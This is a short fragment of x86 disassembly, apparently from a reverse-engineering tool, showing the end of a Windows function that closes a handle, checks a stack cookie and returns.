call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
jmp 0x6d92ed11
xor eax, eax
mov ecx, dword [ebp + 0x8f0]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d9398d8
add ebp, 0x8f4
leave
ret